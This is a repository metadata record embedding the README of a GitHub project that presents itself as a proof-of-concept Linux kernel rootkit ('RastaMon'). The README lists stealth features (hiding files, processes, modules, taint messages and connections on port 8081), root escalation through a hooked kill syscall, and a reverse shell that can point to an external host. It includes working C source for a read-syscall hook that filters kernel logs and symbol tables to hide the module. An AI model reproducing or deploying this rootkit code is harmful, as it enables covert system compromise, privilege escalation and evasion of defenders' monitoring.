{"id":24598185,"url":"https://github.com/fs3cs0ciety/linux-rootkit","last_synced_at":"2026-05-19T05:42:46.095Z","repository":{"id":273822927,"uuid":"920704891","full_name":"fs3cs0ciety/linux-rootkit","owner":"fs3cs0ciety","description":"simple POC of a linux kernel module posing as a rootkit to stealthly hook its syscalls ","archived":false,"fork":false,"pushed_at":"2025-01-26T16:54:53.000Z","size":8675,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-10-10T08:14:30.247Z","etag":null,"topics":["amd64","kernel-module","linux","linux-kernel","malware","malware-analysis","malware-development","malware-research","rootkit","x86-64"],"latest_commit_sha":null,"homepage":"https://fs3cs0ciety.github.io/posts/linux-rootkit","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/fs3cs0ciety.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-01-22T16:23:34.000Z","updated_at":"2025-01-26T16:54:57.000Z","dependencies_parsed_at":"2025-06-02T19:25:53.919Z","dependency_job_id":"5931ba3d-ce0b-45fe-bd72-1f3fe9082347","html_url":"https://github.com/fs3cs0ciety/linux-rootkit","commit_stats":null,"previous_names":["fs3cs0ciety/linux-rootkit"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/fs3cs0ciety/linux-rootkit","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fs3cs0ciety%2Flinux-rootkit","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fs3cs0ciety%2Flinux-rootkit/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fs3cs0ciety%2Flinux-rootkit/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fs3cs0ciety%2Flinux-rootkit/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/fs3cs0ciety","download_url":"https://codeload.github.com/fs3cs0ciety/linux-rootkit/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fs3cs0ciety%2Flinux-rootkit/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279003300,"owners_count":26083555,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-10T02:00:06.843Z","response_time":62,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["amd64","kernel-module","linux","linux-kernel","malware","malware-analysis","malware-development","malware-research","rootkit","x86-64"],"created_at":"2025-01-24T12:15:04.389Z","updated_at":"2025-10-10T08:14:32.781Z","avatar_url":"https://github.com/fs3cs0ciety.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"# RastaMon Linux Rootkit\n🇯🇲\n\n*Simple POC of a Linux kernel module for latest kernel version that utilizes both ftrace and kprobes and poses as a rootkit to stealthily hook its syscalls and leave no trace!*\n\n## Core Capabilities\n\nRasta has the following core capabilities:\n\n* **Hide Files and Directories Named `rasta`**  \n   Rasta uses the `getdents64` syscall hook to hide all files and directories named `rasta` from userspace. This is particularly useful for obfuscating the presence of the module in the filesystem.\n  \n* **Remove/Add Module from `/proc/modules` List**  \n   The module can remove itself from the `/proc/modules` list, making it difficult for userspace tools like `lsmod` to detect its presence. It can also add itself back into the list when necessary.\n\n* **Gain Root Capabilities**  \n   By hooking the `hooked_kill` syscall, Rasta can set all process IDs (UIDs, GIDs, etc.) to 0, giving the module root privileges. This enables full control over the system.\n\n* **Hide `taint` Messages from `dmesg` or `/dev/kmsg`**  \n   Rasta hides any kernel `taint` messages that would typically show up in `dmesg` or `/dev/kmsg`. This helps to cover up any traces of kernel modifications, making the rootkit harder to detect.\n\n* **Hide from `/sys/module/` Directory**  \n   The module hides itself from the `/sys/module` directory, preventing any attempts to manually detect or unload the module. This is achieved by manipulating the syscalls without actually deleting the module directory, making it invisible while still active.\n\n* **Filter Module's Functions from `/sys/kernel/tracing/touched_functions` and `/proc/kallsyms`**  \n   Rasta hooks `hooked_read` to filter out its own functions from being listed in `/sys/kernel/tracing/touched_functions` and `/proc/kallsyms`. This ensures that Rasta’s presence and behavior remain hidden in the kernel's symbol table and tracing logs.\n\n* **Hiding Processes by PID**  \n   Rasta hooks into the `getdents64` syscall to hide processes' PIDs, making it difficult for any monitoring tools to identify running processes associated with Rasta. This feature is still under development, but the goal is to ensure processes related to the rootkit remain stealthy.\n\n* **Hiding Network Connections on Port 8081**  \n   Rasta hooks two critical TCP APIs—`tcp4_seq_show` and `tcp6_seq_show`—using **ftrace** to hide any network connections on port 8081. This prevents tools like `netstat`, `lsof` and `ss` from displaying active connections on this port, ensuring covert communication for purposes like reverse shells.\n   \n* **Reverse Shell**  \n   Rasta features a basic reverse shell that listens on a specified IP address (defaults to `localhost`). This shell can be configured to connect to an external IP address, providing a remote shell that remains hidden by the network connection.\n\n---\n\n* Quick shout to some [sources](#resources).   \n\n---\n\n## Examples\n\n### Resetting the taint_mask to 0\n\n\u003cp align=\"center\"\u003e\u003cimg src=\".img/taint_mask.jpg\"\u003e\u003c/p\u003e\n\n* This demonstrates how Rasta manipulates the kernel's taint mask, effectively resetting it to 0.\n\n---\n\n### Hiding `taint` from `/dev/kmsg`\n\n\u003cp align=\"center\"\u003e\u003cimg src=\".img/dmesg.jpg\"\u003e\u003c/p\u003e\n\n* Here, the `taint` message is hidden from `/dev/kmsg`, meaning any errors or warnings about the module loading won’t appear in the kernel log.\n\n---\n\n### Hiding All of Our Functions from `/proc/kallsyms` and `/sys/kernel/tracing/touched_functions`\n\n\u003cp align=\"center\"\u003e\u003cimg src=\".img/hide.jpg\"\u003e\u003c/p\u003e\n\n* The `hooked_read` function is used to hide Rasta's functions from `/proc/kallsyms` and `/sys/kernel/tracing/touched_functions`. This ensures that the functions used by Rasta are never exposed to user space.\n\n---\n\n### Setting All IDs to 0\n\n\u003cp align=\"center\"\u003e\u003cimg src=\".img/root.jpg\"\u003e\u003c/p\u003e\n\n* By using the `hooked_kill` syscall, Rasta sets all process IDs (UIDs, GIDs, etc.) to 0, effectively giving the kernel module root privileges.\n\n---\n\n### Adding/Removing the Module from the `/proc/modules` List\n\n\u003cp align=\"center\"\u003e\u003cimg src=\".img/lsmod.jpg\"\u003e\u003c/p\u003e\n\n* This shows how Rasta can add or remove itself from the `/proc/modules` list. The module can be removed to hide its presence from userspace, while still being active in the kernel.\n\n---\n\n### Hiding Everything Named `rasta`\n\n\u003cp align=\"center\"\u003e\u003cimg src=\".img/getdents64.jpg\"\u003e\u003c/p\u003e\n\n* The `getdents64` hook hides all files and directories named `rasta` from userspace. This is a stealth technique to ensure that the module’s presence is not detected through file listings or directory searches.\n\n* **Note**: Technically, we don’t need to delete the module from `/sys/module/` because it won’t show up in directory listings due to the `getdents64` hook. While the directory is still there, it is hidden from userspace, making it hard to detect.\n\n---\n\n### Hiding Processes' PIDs\n\n\u003cp align=\"center\"\u003e\u003cimg src=\".img/PID.jpg\"\u003e\u003c/p\u003e\n\n* The `getdents64` and `kill` hooks are also used to hide the process IDs (PIDs) of userspace processes. Currently, there are some issues with completely hiding PIDs, but SIGKILL is sent to the process.\n\n---\n\n### Hiding TCP Connections on Port 8081\n\n\u003cp align=\"center\"\u003e\u003cimg src=\".img/tcp.jpg\"\u003e\u003c/p\u003e\n\n* One of the key features of Rasta is the ability to **hide network connections**. Specifically, we hook into two critical APIs: `tcp4_seq_show` and `tcp6_seq_show` using **ftrace**. These two functions are responsible for displaying information about IPv4 and IPv6 TCP connections in userspace.\n\n* By intercepting these calls, Rasta can **hide** any active TCP connections on port 8081 from tools like `netstat` or `ss`. This ensures that network activity, such as reverse shells or other types of communication using port 8081, remains invisible to standard network monitoring tools.\n\n* The core mechanism works by:\n   1. **Hooking** the `tcp4_seq_show` and `tcp6_seq_show` functions.\n   2. **Filtering out any connection** on port 8081 (or any other port you wish to target) from being listed.\n   3. This method provides a stealthy way to maintain network communications without detection.\n\n---\n\n### Reverse Shell\n\n\u003cp align=\"center\"\u003e\u003cimg src=\".img/tcp.jpg\"\u003e\u003c/p\u003e\n\n* This is a simple reverse shell that listens for connections on `localhost`. The IP address can be easily changed in `kprobe/rev-shell.h` to connect to an external host.\n* The reverse shell utilizes the **hidden network connection** on port 8081, which is stealthed by Rasta's ftrace hook, allowing for covert communication.\n\n---\n\n### Using `notrace` example to avoid `/sys/kernel/tracing/available_filter_functions` with our read hook\n\n```c\n// Hooked function that intercepts the syscall read\nstatic notrace asmlinkage ssize_t hooked_read(const struct pt_regs *regs) {\n    int fd = regs-\u003edi; // First argument of read: fd\n    char __user *user_buf = (char __user *)regs-\u003esi; // Second argument: output buffer for user\n    size_t count = regs-\u003edx; // Number of bytes to read\n    char *kernel_buf;\n    ssize_t bytes_read;\n    struct file *file;\n\n    // Check if the fd is from /dev/kmsg, /proc/kallsyms or /sys/kernel/tracing/touched_functions\n    file = fget(fd); // Gets the file object corresponding to the fd\n    if (file) {\n        // Check if the file is /dev/kmsg, /proc/kallsyms or /sys/kernel/tracing/touched_functions\n        if (strcmp(file-\u003ef_path.dentry-\u003ed_name.name, \"kmsg\") == 0 ||\n            strcmp(file-\u003ef_path.dentry-\u003ed_name.name, \"kallsyms\") == 0 ||\n            strcmp(file-\u003ef_path.dentry-\u003ed_name.name, \"touched_functions\") == 0) {\n            \n            fput(file); // Frees the file object after verification\n\n            // Allocates a temporary buffer in kernel space\n            kernel_buf = kmalloc(B_F, GFP_KERNEL);\n            if (!kernel_buf) {\n                printk(KERN_ERR \"Failed to allocate temporary buffer.\\n\");\n                return -ENOMEM;\n            }\n\n            // Calls the original function to read data from the file\n            bytes_read = og_read(regs);\n            if (bytes_read \u003c 0) {\n                kfree(kernel_buf);\n                return bytes_read;\n            }\n\n            // Copies data read from user space to the buffer in the kernel for processing\n            if (copy_from_user(kernel_buf, user_buf, bytes_read)) {\n                kfree(kernel_buf);\n                return -EFAULT;\n            }\n\n            // Filter out lines that contain the words \"taint\", \"rasta\", or \"kallsyms\"\n            char *filtered_buf = kzalloc(B_F, GFP_KERNEL); // Buffer for filtered messages\n            if (!filtered_buf) {\n                kfree(kernel_buf);\n                return -ENOMEM;\n            }\n\n            char *line, *line_ptr;\n            size_t filtered_len = 0;\n\n            // Process the kernel buffer, line by line\n            line = kernel_buf;\n            while ((line_ptr = strchr(line, '\\n'))) {\n                *line_ptr = '\\0';  // Temporarily terminate the line\n\n            /*\n                So check it out, this is where the magic happens with hiding from those three tracing files. \n            */\n\n                // Check if the line contains \"taint\", \"rasta\", or \"kallsyms\" \n                if (!strstr(line, \"taint\") \u0026\u0026 !strstr(line, \"rasta\") \u0026\u0026 !strstr(line, \"kallsyms\")) {\n                    size_t line_len = strlen(line);\n                    if (filtered_len + line_len + 1 \u003c B_F) {  // Check for space in the filtered buffer\n                        strcpy(filtered_buf + filtered_len, line);  // Append the line\n                        filtered_len += line_len;\n                        filtered_buf[filtered_len++] = '\\n';  // Add newline after the line\n                    }\n                }\n\n                line = line_ptr + 1;  // Move to the next line\n            }\n\n            // Ensures the final buffer is null-terminated\n            filtered_buf[filtered_len] = '\\0';\n\n            // Copy the filtered buffer back to userspace\n            if (copy_to_user(user_buf, filtered_buf, filtered_len)) {\n                kfree(kernel_buf);\n                kfree(filtered_buf);\n                return -EFAULT;\n            }\n\n            kfree(kernel_buf);\n            kfree(filtered_buf);\n            return filtered_len;\n        }\n\n        fput(file); // Frees the file object if it's neither /dev/kmsg /proc/kallsyms, nor /sys/kernel/tracing/touched_functions\n    }\n\n    return og_read(regs); // Calls the original reading function if it's not /dev/kmsg, /proc/kallsyms or /sys/kernel/tracing/touched_functions\n}\n```\n\n### Protecting Ftrace From Being Disabled and Spoofing the read to always return a zero when on. Basically Masking Ftrace Being Enabled.\n\n\u003cp align=\"center\"\u003e\u003cimg src=\".img/ftrace.jpg\"\u003e\u003c/p\u003e\n\n---\n\n![screenshot_26012025_115157](https://github.com/user-attachments/assets/6c02f290-0c65-493e-bacf-33840ad93b18)\n\n* nice right! but still very vulnerable to a simple `journalctl -k | grep taint` command.\n\n## Extra\n\n\u003e [!Important]  \n\u003e Not responsible for anything done with this. This does not do anything really malicious honestly and If you're dumb enough to think this is FUD malware, just go away. 😑\n\n### Resources:\n* [Detect-Rootkit-Cheatsheet](https://github.com/MatheuZSecurity/detect-lkm-rootkit-cheatsheet)\n* [Rootkit by matheuZSecurity](https://github.com/matheuZSecurity/Rootkit)\n* [Linux Rootkit Series by fs3cs0ciety](https://github.com/fs3cs0ciety/Linux-Rootkit-Series)\n* [Xcellerator's blog](https://xcellerator.github.io/)\n* [The Linux Kernel Source](https://github.com/torvalds/linux)\n\n### Arch Setup (if you're wondering):\n\n* [Dotfiles by mylinuxforwork](https://github.com/mylinuxforwork/dotfiles)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ffs3cs0ciety%2Flinux-rootkit","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ffs3cs0ciety%2Flinux-rootkit","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ffs3cs0ciety%2Flinux-rootkit/lists"}